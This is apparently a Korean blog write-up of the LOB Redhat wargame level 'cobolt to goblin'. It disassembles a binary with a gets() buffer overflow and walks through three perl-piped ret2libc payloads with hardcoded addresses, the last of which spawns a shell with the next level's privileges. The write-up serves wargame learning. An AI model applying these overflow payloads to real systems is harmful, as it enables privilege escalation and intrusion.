본문 바로가기

wargame/LOB Redhat

cobolt to goblin

1.ret2libc

[cobolt@localhost cobolt]$ gdb -q goblin

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x80483f8 <main>:       push   %ebp

0x80483f9 <main+1>:     mov    %ebp,%esp

0x80483fb <main+3>:     sub    %esp,16

0x80483fe <main+6>:     lea    %eax,[%ebp-16]

0x8048401 <main+9>:     push   %eax

0x8048402 <main+10>:    call   0x804830c <gets>

0x8048407 <main+15>:    add    %esp,4

0x804840a <main+18>:    lea    %eax,[%ebp-16]

0x804840d <main+21>:    push   %eax

0x804840e <main+22>:    push   0x8048470

0x8048413 <main+27>:    call   0x804833c <printf>

0x8048418 <main+32>:    add    %esp,8

0x804841b <main+35>:    leave

0x804841c <main+36>:    ret

0x804841d <main+37>:    nop

0x804841e <main+38>:    nop

0x804841f <main+39>:    nop

End of assembler dump.

 

//gets 사용, bof취약점

//buf크기 16

//perl 스크립트를 gets 전달시킬 방법..  ; cat | 사용

//gets 인자 전달하기

1번방법

[cobolt@localhost cobolt]$ echo `perl -e 'print "x"x20,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40";'`|./goblin

xxxxxxxxxxxxxxxxxxxx?@aaaa@

안됨 그냥 echo 페이로드만 출력, goblin 실행이 안되는듯함.

 

2번방법

[cobolt@localhost cobolt]$ printf `perl -e 'print "x"x20,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40";'`|./goblin

xxxxxxxxxxxxxxxxxxxx?@aaaa@

안됨 이것도 1번과 같은 현상

 

3

[cobolt@localhost cobolt]$ (perl -e 'print "x"x20,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40"';cat)|./goblin

//여기서 엔터를 한번쳐야함, 엔터치는게 인자를 넘겨주는 동작인듯.

xxxxxxxxxxxxxxxxxxxx?@aaaa@

id

uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)

my-pass

euid = 503

hackers proof

//cat 사용하니 인자가 넘어감

'wargame > LOB Redhat' 카테고리의 다른 글

wolfman to darkelf  (0) 2014.05.27
orc to wolfman  (0) 2014.05.27
goblin to orc  (0) 2014.05.27
gremlin to cobolt  (0) 2014.05.14
gate to gremlin  (0) 2014.05.14